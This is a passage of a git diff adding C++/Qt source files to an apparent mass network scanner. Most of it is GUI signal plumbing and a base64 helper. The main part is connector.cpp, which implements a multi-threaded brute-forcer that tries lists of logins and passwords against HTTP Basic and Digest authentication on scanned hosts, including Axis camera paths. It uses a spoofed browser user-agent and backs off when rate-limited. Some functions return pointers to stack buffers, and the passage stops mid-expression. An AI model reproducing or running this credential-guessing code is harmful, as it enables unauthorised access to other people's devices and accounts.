ircPTh->RestartIRC(); +}; + +void IRCPinger_Th::run() +{ + while(iWantToConnect) + { + if(globalPinger >= 360) //6min timeout + { +#pragma region QTGUI_Area + ircPTh->doEmitChangeRedIRCData("-//- Ping timeout. Reconnecting... "); +#pragma endregion + + ircPTh->doEmitRestartIRC(); + globalPinger = 0; + msleep(10000); + }; + ++globalPinger; + msleep(1000); + }; +}; \ No newline at end of file diff --git a/IRCPinger_Th.h b/IRCPinger_Th.h new file mode 100644 index 0000000..e4ab1df --- /dev/null +++ b/IRCPinger_Th.h @@ -0,0 +1,24 @@ +#ifndef IRCPINGER_TH_H +#define IRCPINGER_TH_H + +#pragma once +#include "nesca_3.h" +#include "resource.h" +extern int iWantToConnect; + +class IRCPinger_Th : public QThread +{ + Q_OBJECT + +public: + static void doEmitChangeRedIRCData(QString str); + static void doEmitRestartIRC(); + +public: signals: void changeRedIRCData(QString); +public: signals: void RestartIRC(); + +protected: + void run(); +}; +extern IRCPinger_Th *ircPTh; +#endif // IRCPINGER_TH_H diff --git a/STh.cpp b/STh.cpp new file mode 100644 index 0000000..8d134fd --- /dev/null +++ b/STh.cpp @@ -0,0 +1,102 @@ +#include "STh.h" + +void STh::doEmitionShowRedVersion() +{ + emit stt->showRedVersion(); +}; +void STh::doEmitionStartScanIP() +{ + emit stt->startScanIP(); +}; +void STh::doEmitionStartScanDNS() +{ + emit stt->startScanDNS(); +}; +void STh::doEmitionStartScanImport() +{ + emit stt->startScanImport(); +}; +void STh::doEmitionAddIncData(QString(ip), QString str) +{ + emit stt->sIncData(ip, str); +}; +void STh::doEmitionAddOutData(QString ip, QString str) +{ + emit stt->sOutData(ip, str); +}; +void STh::doEmitionIPRANGE(QString str) +{ + emit stt->changeIpRange(str); +} +void STh::doEmitionThreads(QString str) +{ + emit stt->changeThreads(str); +} +void STh::doEmitionIPS(QString str) +{ + emit stt->changeIPS(str); +} +void STh::doEmitionFoundData(QString str) +{ + emit stt->changeFoundData(str); +} +void STh::doEmitionBAData(QString str) +{ + emit stt->changeBAData(str); +} +void STh::doEmition_BARedData(QString str) +{ + emit stt->changeRedBAData(str); +}; +void STh::doEmition_BAGreenData(QString str) +{ + emit stt->changeGreenBAData(str); +} +void STh::doEmitionRedFoundData(QString str) +{ + emit stt->changeRedFoundData(str); +} +void STh::doEmitionGreenFoundData(QString str) +{ + emit stt->changeGreenFoundData(str); +} +void STh::doEmitionYellowFoundData(QString str) +{ + emit stt->changeYellowFoundData(str); +} +void STh::doEmitionDebugFoundData(QString str) +{ + emit stt->changeDebugFoundData(str); +} +void STh::doEmitionChangeStatus(QString str) +{ + emit stt->changeStatus(str); +} +void STh::doEmitionTargetsLeft(QString str) +{ + emit stt->changeTargetsLeft(str); +} +void STh::doEmitionKillSttThread() +{ + emit stt->killSttThread(); +}; +void STh::doEmitionChangeParsed(QString str) +{ + emit stt->changeParsedValue(str); +}; +void STh::doEmitionChangeBA(QString str) +{ + emit stt->changeBAValue(str); +}; +void STh::doEmitionOffline(QString str) +{ + emit stt->changeOffline(str); +}; +void STh::doEmitionDataSaved(bool status) +{ + emit stt->signalDataSaved(status); +}; +void STh::run() +{ + startScan(inputStr); +} \ No newline at end of file diff --git a/STh.h b/STh.h new file mode 100644 index 0000000..3d1f858 --- /dev/null +++ b/STh.h @@ -0,0 +1,70 @@ +#ifndef STH_H +#define STH_H + +#pragma once +#include "nesca_3.h" +#include "resource.h" + +class STh : public QThread +{ + Q_OBJECT +public: + +public: + static void doEmitionDataSaved(bool status); + static void doEmitionStartScanIP(); + static void doEmitionStartScanDNS(); + static void doEmitionStartScanImport(); + static void doEmitionAddIncData(QString ip, QString str); + static void doEmitionAddOutData(QString ip, QString str); + static void doEmition_BAGreenData(QString str); + static void doEmition_BARedData(QString str); + static void doEmitionIPRANGE(QString str); + static void doEmitionThreads(QString str); + static void doEmitionIPS(QString str); + static void doEmitionFoundData(QString str); + static void doEmitionRedFoundData(QString str); + static void doEmitionGreenFoundData(QString); + static void doEmitionYellowFoundData(QString); + static void doEmitionChangeStatus(QString); + static void doEmitionTargetsLeft(QString); + static void doEmitionKillSttThread(); + static void doEmitionChangeParsed(QString); + static void doEmitionChangeBA(QString); + static void doEmitionOffline(QString); + static void doEmitionBAData(QString str); + static void doEmitionDebugFoundData(QString); + static void doEmitionShowRedVersion(); + +signals: +public: signals: void showRedVersion(); +public: signals: void startScanIP(); +public: signals: void startScanDNS(); +public: signals: void startScanImport(); + +public: signals: void signalDataSaved(bool); +public: signals: void changeGreenBAData(QString); +public: signals: void changeRedBAData(QString); +public: signals: void changeBAData(QString); +public: signals: void changeOffline(QString); +public: signals: void changeBAValue(QString); +public: signals: void changeParsedValue(QString); +public: signals: void changeIpRange(QString); +public: signals: void changeThreads(QString); +public: signals: void changeIPS(QString); +public: signals: void changeFoundData(QString); +public: signals: void changeRedFoundData(QString); +public: signals: void changeGreenFoundData(QString); +public: signals: void changeYellowFoundData(QString); +public: signals: void changeDebugFoundData(QString); +public: signals: void changeStatus(QString); +public: signals: void changeTargetsLeft(QString); +public: signals: void killSttThread(); +public: signals: void sIncData(QString, QString); +public: signals: void sOutData(QString, QString); + +protected: + void run(); +}; +extern STh *stt; +#endif // STH_H diff --git a/base64.cpp b/base64.cpp new file mode 100644 index 0000000..ce292d8 --- /dev/null +++ b/base64.cpp @@ -0,0 +1,96 @@ +#include "base64.h" +#include + +static const std::string base64_chars = + "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + "abcdefghijklmnopqrstuvwxyz" + "0123456789+/"; + + +static inline bool is_base64(unsigned char c) { + return (isalnum(c) || (c == '+') || (c == '/')); +} + +std::string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len) { + std::string ret; + int i = 0; + int j = 0; + unsigned char char_array_3[3]; + unsigned char char_array_4[4]; + + while (in_len--) { + char_array_3[i++] = *(bytes_to_encode++); + if (i == 3) { + char_array_4[0] = (char_array_3[0] & 0xfc) >> 2; + char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4); + char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6); + char_array_4[3] = char_array_3[2] & 0x3f; + + for(i = 0; (i <4) ; i++) + ret += base64_chars[char_array_4[i]]; + i = 0; + } + } + + if (i) + { + for(j = i; j < 3; j++) + char_array_3[j] = '\0'; + + char_array_4[0] = (char_array_3[0] & 0xfc) >> 2; + char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4); + char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6); + char_array_4[3] = char_array_3[2] & 0x3f; + + for (j = 0; (j < i + 1); j++) + ret += base64_chars[char_array_4[j]]; + + while((i++ < 3)) + ret += '='; + + } + + return ret; + +} + +std::string base64_decode(std::string const& encoded_string) { + int in_len = encoded_string.size(); + int i = 0; + int j = 0; + int in_ = 0; + unsigned char char_array_4[4], char_array_3[3]; + std::string ret; + + while (in_len-- && ( encoded_string[in_] != '=') && is_base64(encoded_string[in_])) { + char_array_4[i++] = encoded_string[in_]; in_++; + if (i ==4) { + for (i = 0; i <4; i++) + char_array_4[i] = base64_chars.find(char_array_4[i]); + + char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4); + char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); + char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3]; + + for (i = 0; (i < 3); i++) + ret += char_array_3[i]; + i = 0; + } + } + + if (i) { + for (j = i; j <4; j++) + char_array_4[j] = 0; + + for (j = 0; j <4; j++) + char_array_4[j] = base64_chars.find(char_array_4[j]); + + char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4); + char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); + char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3]; + + for (j = 0; (j < i - 1); j++) ret += char_array_3[j]; + } + + return ret; +} \ No newline at end of file diff --git a/base64.h b/base64.h new file mode 100644 index 0000000..ceb1357 --- /dev/null +++ b/base64.h @@ -0,0 +1,4 @@ +#include + +std::string base64_encode(unsigned char const* , unsigned int len); +std::string base64_decode(std::string const& s); \ No newline at end of file diff --git a/connector.cpp b/connector.cpp new file mode 100644 index 0000000..7e2e461 --- /dev/null +++ b/connector.cpp @@ -0,0 +1,2680 @@ +#pragma once +#include "STh.h" +#include +#include +#include +#pragma once + +#if defined(Q_OS_WIN32) +#include +#include +#pragma comment(lib, "iphlpapi.lib") +#endif +int gMaxBrutingThreads = 200; + +volatile bool BConnLocked = false; +void BConInc() +{ + while(BConnLocked == true) Sleep(6); + + BConnLocked = true; + ++BrutingThrds; + BConnLocked = false; +#pragma region QTGUI_Area + stt->doEmitionChangeBA(QString::number(BrutingThrds)); +#pragma endregion + ++BA; +}; +void BConDec() +{ + while(BConnLocked == true) Sleep(8); + + BConnLocked = true; + if(BrutingThrds > 0) --BrutingThrds; + BConnLocked = false; +#pragma region QTGUI_Area + stt->doEmitionChangeBA(QString::number(BrutingThrds)); +#pragma endregion +}; +bool SSHConnLocked = false; +void SSHConInc() +{ + while(SSHConnLocked == true) Sleep(6); + + SSHConnLocked = true; + ++BrutingThrds; + SSHConnLocked = false; +#pragma region QTGUI_Area + stt->doEmitionChangeBA(QString::number(BrutingThrds)); +#pragma endregion +}; +void SSHConDec() +{ + while(SSHConnLocked == true) Sleep(8); + + SSHConnLocked = true; + if(BrutingThrds > 0) --BrutingThrds; + SSHConnLocked = false; +#pragma region QTGUI_Area + stt->doEmitionChangeBA(QString::number(BrutingThrds)); +#pragma endregion +}; + +bool debugWriteWait = false; +void _DebugWriteHTMLToFile(char *request, char *buff) +{ + while(debugWriteWait) Sleep(50); + debugWriteWait = true; + FILE *df = fopen("./debugData.txt", "a"); + + if(df != NULL) + { + fputs(request, df); + fputs("==========================\n", df); + fputs(buff, df); + fputs("\n==========================\n==========================\n\n", df); + fclose(df); + } + else + { + stt->doEmitionRedFoundData("[DEBUG] Cannot open debugData.txt"); + }; + debugWriteWait = false; +}; +unsigned char tl(unsigned char d) +{ + if(d >= 192 && d <= 223) + { + unsigned char y = d + 32; + return y; + } + else + { + return tolower(d); + }; +}; +int recvWT( + int Socket, + char *Buffer, + int Len, + long Timeout, + int *bTimedOut + ){ + fd_set ReadSet; + int n; + struct timeval Time; + + FD_ZERO(&ReadSet); + FD_SET(Socket,&ReadSet); + Time.tv_sec = Timeout; + Time.tv_usec = 0; + *bTimedOut = FALSE; + n = select(Socket+1,&ReadSet,NULL,NULL,&Time); + if (n > 0) { /* got some data */ + return recv(Socket,Buffer,Len,0); + } + if (n == 0) { /* timeout */ + *bTimedOut = TRUE; + } + return(n) ; /* trouble */ +} +string toLowerStr(const char *str) +{ + int tsz = strlen(str); + if(tsz == 1) + { + if(str[0] == 10) return "[No data!]"; + else return str; + } + else if(tsz > 1) + { + char * strr = new char[tsz+1]; + ZeroMemory(strr, tsz); + + for (int i = 0; i < tsz; i++) + { + strr[i] = tl(str[i]); + }; + + memset(strr + tsz, '\0', 1); + + string tstr = strr; + delete []strr; + return tstr; + }; + return ""; +}; +SSL_CTX* InitCTX(void) +{ + const SSL_METHOD *method; + SSL_CTX *ctx; + + method = SSLv3_client_method(); /* Create new client-method instance */ + ctx = SSL_CTX_new(method); /* Create new context */ + SSL_CTX_set_timeout(ctx, gTimeOut); + if ( ctx == NULL ) + { + stt->doEmitionRedFoundData("SSL(InitCTX)."); + return NULL; + } + return ctx; +} +int OpenConnection(SOCKET *sock, const char *hostname, int port) +{ + struct hostent *host; + struct sockaddr_in addr; + if(strlen(hostname) == 0) + { + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(hostname) + ":" + QString::number(port) + "" + "] Rejecting in _connection: Bad IP."); + return -1; + }; + if(port < 0 || port > 65535) + { + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(hostname) + ":" + QString::number(port) + "" + "] Rejecting in _connection: Bad port."); + return -1; + }; + + if ( (host = gethostbyname(hostname)) == NULL ) + { + ++offlines; + if(mode != 1) + { + char temp[256] = {0}; + strcpy(temp, "[Bad address ("); + + strcat(temp, hostname); + strcat(temp, ":"); + strcat(temp, std::to_string((long double)port).c_str()); + strcat(temp, "):"); + strcat(temp, std::to_string((long double)WSAGetLastError()).c_str()); + strcat(temp, "]"); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[SSL]: " + QString(temp)); +#pragma endregion + + }; + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(hostname) + ":" + QString::number(port) + "" + "] Rejecting in _connection: Bad IP."); + return -1; + }; + *sock = socket(PF_INET, SOCK_STREAM, 0); + ZeroMemory(&addr, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_port = htons(port); + addr.sin_addr.s_addr = *(long*)(host->h_addr); + if ( connect(*sock, (struct sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR ) + { + ++offlines; + closesocket(*sock); + return -1; + }; + return 0; +} + +void _baSSLWorker(char *ip, char *request, char *rvBuff) +{ + SSL_CTX *ctx = NULL; + ctx = InitCTX(); + SOCKET sock; + if(ctx != NULL) + { + int result = OpenConnection(&sock, ip, 443); + if(result >= 0) + { + SSL *ssl = NULL; + ssl = SSL_new(ctx); /* create new SSL connection state */ + if(ssl != NULL) + { + SSL_set_fd(ssl, sock); /* attach the socket descriptor */ + + if(SSL_connect(ssl)) + { + SSL_write(ssl, request, strlen(request)); + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + + char tempBuff[128] = {0}; + int x = 1; + int xx = 0; + + ZeroMemory(rvBuff, sizeof(rvBuff)); + while(xx < 512) + { + x = SSL_read(ssl, tempBuff, sizeof(tempBuff)); + if(x <= 0) break; + Activity += x; + xx += x; + strncat(rvBuff, tempBuff, x); + ZeroMemory(tempBuff, sizeof(tempBuff)); + }; + + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(rvBuff)); + if(HTMLDebugMode) _DebugWriteHTMLToFile(request, rvBuff); + }; + SSL_shutdown(ssl); + SSL_free(ssl); + closesocket(sock); /* close socket */ + SSL_CTX_free(ctx); /* release context */ + return; + }; + }; + closesocket(sock); /* close socket */ + SSL_CTX_free(ctx); /* release context */ + }; +}; +char *_getAttributeValue(char *str, char *val, char *ip, int port) +{ + char res[1024] = {0}; + char *ptrStart = NULL; + char *ptrS1End = NULL; + char *ptrS2End = NULL; + + ptrStart = strstri(str, val); + if(ptrStart != NULL) + { + ptrS1End = _findFirstOcc(ptrStart, "\""); + if(ptrS1End != NULL) + { + ptrS2End = _findFirstOcc(ptrS1End + 1, "\""); + if(ptrS2End != NULL) + { + int sz = ptrS2End - ptrS1End - 1; + + if(sz != 0 && sz < 1024) strncpy(res, ptrS1End + 1, sz); + else return ""; + + return res; + } + else + { + stt->doEmitionRedFoundData("[_getAttributeValue] Error while retrieving value: \"" + QString(val) + "\" IP:" + QString(ip) + ":" + QString::number(port) + ""); + return ""; + }; + } + else + { + stt->doEmitionRedFoundData("[_getAttributeValue] Error while retrieving value: \"" + QString(val) + "\" IP:" + QString(ip) + ":" + QString::number(port) + ""); + return ""; + }; + } + else + { + stt->doEmitionRedFoundData("[_getAttributeValue] Error while retrieving value: \"" + QString(val) + "\" IP:" + QString(ip) + ":" + QString::number(port) + ""); + return ""; + }; +}; +void print_md5_sum(unsigned char* md, char* md5) +{ + char temp[8] = {0}; + for(int i = 0; i < MD5_DIGEST_LENGTH; ++i) + { + ZeroMemory(temp, 8); + sprintf(temp, "%02x", md[i]); + + if(i != 0) + { + strcat(md5, temp); + } + else + { + strcpy(md5, temp); + }; + }; +}; +char *_makeDigestResponse(char *login, char *realm, char *pass, char *path, char *nonce) +{ + unsigned char HA1[MD5_DIGEST_LENGTH]; + unsigned char HA2[MD5_DIGEST_LENGTH]; + char HA1Data[512] = {0}; + char HA2Data[512] = {0}; + + strcpy(HA1Data, login); + strcat(HA1Data, ":"); + strcat(HA1Data, realm); + strcat(HA1Data, ":"); + strcat(HA1Data, pass); + + strcpy(HA2Data, "GET:"); + strcat(HA2Data, path); + + MD5((unsigned char*) HA1Data, strlen(HA1Data), HA1); + MD5((unsigned char*) HA2Data, strlen(HA2Data), HA2); + + char responseData[512] = {0}; + char *HA1MD5 = new char[64]; + char *HA2MD5 = new char[64]; + ZeroMemory(HA1MD5, 64); + ZeroMemory(HA2MD5, 64); + + print_md5_sum(HA1, HA1MD5); + strcpy(responseData, HA1MD5); + strcat(responseData, ":"); + strcat(responseData, nonce); + strcat(responseData, "::auth:"); + print_md5_sum(HA2, HA2MD5); + strcat(responseData, HA2MD5); + delete []HA1MD5; + delete []HA2MD5; + + unsigned char response[MD5_DIGEST_LENGTH]; + MD5((unsigned char*) responseData, strlen(responseData), response); + char responseMD5[64] = {0}; + print_md5_sum(response, responseMD5); + return (char*)responseMD5; +}; +volatile bool baSSLLocked = false; +lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) +{ + if(strcmp(method, "[DIGEST]") != 0 && strcmp(method, "[NORMAL]") != 0) stt->doEmitionRedFoundData("[-] Unknown method IP: " + QString(ip) + ":" + QString::number(port) + + ""); + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + + int cookieLen = strlen(cookie); + char path[512] = {0}; + strncpy(path, pathT, 512); + + int bTO; + bool goon = false; + char hRqst[1024] = {0}; + char headerMsg[1024] = {0}; + char hMsgR[512] = {0}; + + strcpy(hRqst, "GET "); + strcat(hRqst, path); + strcat(hRqst, " HTTP/1.1\r\nHost: "); + strcat(hRqst, ip); + if(cookieLen != 0) + { + strcat(hRqst, "\r\nCookie: "); + strcat(hRqst, cookie); + }; + strcat(hRqst, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\n\r\n"); + + sockaddr_in sockAddr; + SOCKET sock; +#pragma region VerifyBASSL + if(port == 443) + { + ZeroMemory(headerMsg, sizeof(headerMsg)); + while(baSSLLocked) Sleep(200); + baSSLLocked = true; + _baSSLWorker(ip, hRqst, headerMsg); + baSSLLocked = false; + } +#pragma endregion + else +#pragma region VerifyBA + { + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(port); + HOSTENT *host; +#if defined(WIN32) + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[BA] Bad address! [" + QString(ip) + "]"); +#pragma endregion + }; +#else + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[BA] Bad address! [" + QString(ip) + "]"); +#pragma endregion + }; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + + send(sock, hRqst, strlen(hRqst), 0); + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(hRqst)); + ZeroMemory(headerMsg, sizeof(headerMsg)); + int x = 1; + int xx = 0; + while(xx < 512) + { + x = recvWT(sock, hMsgR, sizeof(hMsgR), gTimeOut + 10, &bTO); + if(x <= 0) break; + strncat(headerMsg, hMsgR, x); + xx += x; + ZeroMemory(hMsgR, sizeof(hMsgR)); + }; + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(headerMsg)); + }; +#pragma endregion + if(strlen(headerMsg) == 0) + { + OnLiner = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + if(strstr(headerMsg, "401 ") == NULL && strstr(headerMsg, ".1 401") == NULL && strstr(headerMsg, ".0 401") == NULL) + { + if(strstri(headerMsg, "400 Bad") != NULL) + { + shutdown(sock, SD_BOTH); + closesocket(sock); + + strcpy(lps.other, "[400 Bad Request]"); + OnLiner = 0; + return lps; + } + else if(strstri(headerMsg, "404 Not") != NULL || strstr(headerMsg, "404 ") != NULL || strstr(headerMsg, ".1 404") != NULL || strstr(headerMsg, ".0 404") != NULL) + { + if(strstr(path, "/axis-cgi/com/ptz.cgi?") != NULL) + { + int sz = strlen("/view/viewer_index.shtml"); + strncpy(path, "/view/viewer_index.shtml", sz); + memset(path + sz, 0, 1); + goon = true; + } + else + { + shutdown(sock, SD_BOTH); + closesocket(sock); + + strcpy(lps.other, QString("[404 Not Found (" + QString(path) + ")]").toLocal8Bit().data()); + OnLiner = 0; + return lps; + }; + } + else if(strlen(headerMsg) < 16) + { + goon = true; + stt->doEmitionRedFoundData("Corrupted reply: (" + QString(headerMsg) + ") " + QString(ip) + ":"+ QString::number(port)); + }; + + if(goon == false) + { + shutdown(sock, SD_BOTH); + closesocket(sock); + + strcpy(lps.login, "NULL"); + strcpy(lps.pass, "NULL"); + OnLiner = 0; + return lps; + }; + }; + + shutdown(sock, SD_BOTH); + closesocket(sock); +#pragma endregion + + OnLiner = 1; + char tPass[256] = {0}; + char curLogin[256] = {0}; + char curPass[256] = {0}; + int cCode; + int cErrCode; + int x = 1; + int dataSz = 0; + int maxSize = 1024; + char request[4096] = {0}; + char recvBuff[4096] = {0}; + char recvBuff2[512] = {0}; + char pass[256] = {0}; + int WSAErr; + + char localBuff[4096] = {0}; + strcpy(localBuff, headerMsg); + int passCounter = 1; + char attribute[2048] = {0}; + char nonce[512] = {0}; + char realm[512] = {0}; + string encoded = ""; + for(int i = 0; i < MaxLogin; i++) + { + if(globalScanFlag == false) break; + for(int j = 0; j < MaxPass; j++) + { + Sleep(80); + if(globalScanFlag == false) break; + + ZeroMemory(request, 4096); + ZeroMemory(curLogin, 256); + ZeroMemory(curPass, 256); + strcpy(curLogin, loginLst[i]); + strcpy(curPass, passLst[j]); + + if(strcmp(method, "[DIGEST]") == 0 && strstr(localBuff, "nonce=") != NULL) + { + ZeroMemory(attribute, 2048); + strcpy(attribute, _getAttribute(localBuff, "WWW-Authenticate:")); + ZeroMemory(nonce, 512); + strcpy(nonce, _getAttributeValue(attribute, "nonce=", ip, port)); + ZeroMemory(realm, 512); + strcpy(realm, _getAttributeValue(attribute, "realm=", ip, port)); + + strcpy(request, "GET "); + strcat(request, path); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + if(cookieLen != 0) + { + strcat(request, "\r\nCookie: "); + strcat(request, cookie); + }; + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Digest username=\""); + strcat(request, curLogin); + strcat(request, "\", realm=\""); + strcat(request, realm); + strcat(request, "\", nonce=\""); + strcat(request, nonce); + strcat(request, "\", uri=\""); + strcat(request, path); + strcat(request, "\", qop=auth, response=\""); + strcat(request, _makeDigestResponse(curLogin, realm, curPass, path, nonce)); + strcat(request, "\", nc=00000001, cnonce=\"9d531d56796e0dc9\"\r\nConnection: close\r\nContent-length: 0\r\n\r\n"); + } + else + { + ZeroMemory(tPass, 256); + strncpy(tPass, curLogin, strlen(curLogin)); + strcat(tPass, ":"); + strncat(tPass, curPass, strlen(curPass)); + encoded = base64_encode((const unsigned char *)tPass, strlen(tPass)); + strcpy(tPass, base64_decode(encoded).c_str()); + strcpy(request, "GET "); + strcat(request, path); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + if(cookieLen != 0) + { + strcat(request, "\r\nCookie: "); + strcat(request, cookie); + }; + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Basic "); + strcat(request, encoded.c_str()); + strcat(request, "\r\nConnection: close\r\nContent-length: 0\r\n\r\n"); + }; + +#pragma region BABSEQ-HTTPS + if(port == 443) + { + ZeroMemory(recvBuff, 4096); + while(baSSLLocked) Sleep(100); + baSSLLocked = true; + if(BALogSwitched) stt->doEmitionBAData("Probing SSL:BA " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(tPass) + ";"); + _baSSLWorker(ip, request, recvBuff); + baSSLLocked = false; + } +#pragma endregion + else +#pragma region BABSEQ-HTTP + { + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + cErrCode = WSAGetLastError(); + + while(cErrCode == 10038) + { + if(gDebugMode) stt->doEmitionDebugFoundData("[BA] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); + shutdown(sock, SD_BOTH); + closesocket(sock); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + cErrCode = WSAGetLastError(); + }; + if(cCode != SOCKET_ERROR) + { + x = 1; + Activity += strlen(request); + + if(send(sock, request, strlen(request), 0) != SOCKET_ERROR) + { + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + dataSz = 0; + maxSize = 1024; + ZeroMemory(recvBuff2, 512); + ZeroMemory(recvBuff, 4096); + while (x > 0 && dataSz < 3384) + { + ZeroMemory(recvBuff2, 512); + x = recvWT(sock, recvBuff2, 512, gTimeOut + 5, &bTO); + + dataSz += x; + Activity += x; + + strncat(recvBuff, recvBuff2, x); + }; + if(BALogSwitched) stt->doEmitionBAData("Checked BA: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(tPass) + "; - Progress: (" + QString::number((passCounter++/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); + } + else + { + stt->doEmitionRedFoundData("[BA] Send error! [" + QString(ip) + "]"); + + shutdown(sock, SD_BOTH); + closesocket(sock); + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + } + } + else + { + int WSAErr = WSAGetLastError(); + if(WSAErr != 10060) + { + stt->doEmitionRedFoundData("[BA] Cannot connect to " + QString(ip) + "[" + QString::number(WSAErr) + "]"); + }; + + shutdown(sock, SD_BOTH); + closesocket(sock); + + OnLiner = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + + shutdown(sock, SD_BOTH); + closesocket(sock); + }; +#pragma endregion + + if(globalScanFlag == false) break; + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff)); + + if(dataSz == 0) + { + Sleep(1000); + --j; + continue; + }; + + if(strcmp(method, "[DIGEST]") == 0) + { + ZeroMemory(localBuff, 4096); + strcpy(localBuff, recvBuff); + }; + + if(strstri(recvBuff, "http/1.1 401") == NULL + || strstri(recvBuff, "http/1.0 401") == NULL + //|| (strstri(recvBuff, "401") != NULL && strstri(recvBuff, "unauthorized") != NULL) + ) + { + ///dummy/// + } + else if(strstri(recvBuff, "503 service unavailable") != NULL + || strstri(recvBuff, "http/1.1 503") != NULL + || strstri(recvBuff, "http/1.0 503") != NULL + || strstr(recvBuff, "400 BAD_REQUEST") != NULL + || strstri(recvBuff, "400 bad request") != NULL + || strstr(recvBuff, "403 Forbidden") != NULL + ) + { +#pragma region QTGUI_Area + stt->doEmition_BARedData("[.] 503/400/403 - Waiting 30sec (" + QString(ip) + ":" + QString::number(port) + ")"); +#pragma endregion + + if(j > 0) --j; + Sleep(30000); + } + else if((strstri(recvBuff, "http/1.1 404") != NULL + || strstri(recvBuff, "http/1.0 404") != NULL + ) + && strstri(recvBuff, "Authorization required") == NULL + ) + { + if(HTMLDebugMode) _DebugWriteHTMLToFile(request, recvBuff); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[-] 404 - Wrong path detected. (" + QString(ip) + ":" + QString::number(port) + QString(path) + ")"); +#pragma endregion + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + } + else if( (strstri(recvBuff, "200 ok") != NULL + || strstri(recvBuff, "http/1.0 200") != NULL + ) + //&& strstri(recvBuff, "access forbidden") == NULL + //&& strstri(recvBuff, "authentication required") == NULL + //&& strstri(recvBuff, "authentication failed") == NULL + && strstri(recvBuff, "http/1.1 401 ") == NULL + && strstri(recvBuff, "http/1.0 401 ") == NULL + //&& strstri(recvBuff, "401 unauthorized") == NULL + //&& 